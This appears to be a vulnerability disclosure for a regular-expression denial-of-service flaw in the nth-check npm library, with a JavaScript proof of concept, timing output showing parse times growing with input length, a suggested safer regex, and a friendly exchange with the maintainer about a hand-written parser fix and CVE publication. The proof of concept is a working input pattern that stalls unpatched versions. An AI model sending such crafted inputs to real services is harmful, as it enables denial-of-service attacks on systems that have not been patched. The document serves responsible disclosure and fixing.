Inefficient Regular Expression Complexity in fb55/nth-check
Reported on
Sep 14th 2021
Description
I would like to report a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check.
It allows cause a denial of service when parsing crafted invalid CSS nth-checks.
The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern \s*(?:([+-]?)\s*(\d+))? with quantified overlapping adjacency and can be exploited with the following code.
Proof of Concept
// PoC.js
var nthCheck = require("nth-check")
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = '2n' + ' '.repeat(i*10000)+"!";
try {
nthCheck.parse(attack_str)
}
catch(err) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
The Output
attack_str.length: 10003: 174 ms
attack_str.length: 20003: 1427 ms
attack_str.length: 30003: 2602 ms
attack_str.length: 40003: 4378 ms
attack_str.length: 50003: 7473 ms
The Patch
Occurrences
SECURITY.md
2 years ago
I am willing to suggest that the maintainers replace the regex /^([+-]?\d*n)?\s*(?:([+-]?)\s*(\d+))?$/ with the regex /^([+-]?\d*n)?\s*(?:([+-])\s*)?(?:(\d+))?$/. The two regexes semantics are equivalent, and the latter is safe.
Thanks for the report! I have opted to hand-roll parsing (https://github.com/fb55/nth-check/pull/9), as I am able to verify the behaviour, but don't fully understand its origin. (Why is parsing of a regular language not O(n)?)
Hi Felix,
Nice to hear from you and thank you for your confirmation.
Regex engines differ, but most (e.g., the built-in regex engines in JS, Java and Python) will adopt backtracking search algorithms. Backtracking search algorithms can better support various grammatical extensions (e.g., lookarounds and backreferences). At the same time, they can also lead to potential Regular expression Denial of Service (ReDoS) attacks.
I don't want to shamelessly promote my own work but you could read my paper to learn more about ReDoS.
Best regards, Yeting
I'm glad to see you have a fix. By the way, my fix is to reduce the ambiguity of the regex to achieve anti-ReDoS.
Awesome!
Are you able to confirm the fix via our platform (above)?
We will then be able to appropriately publish the CVE on your behalf! 📦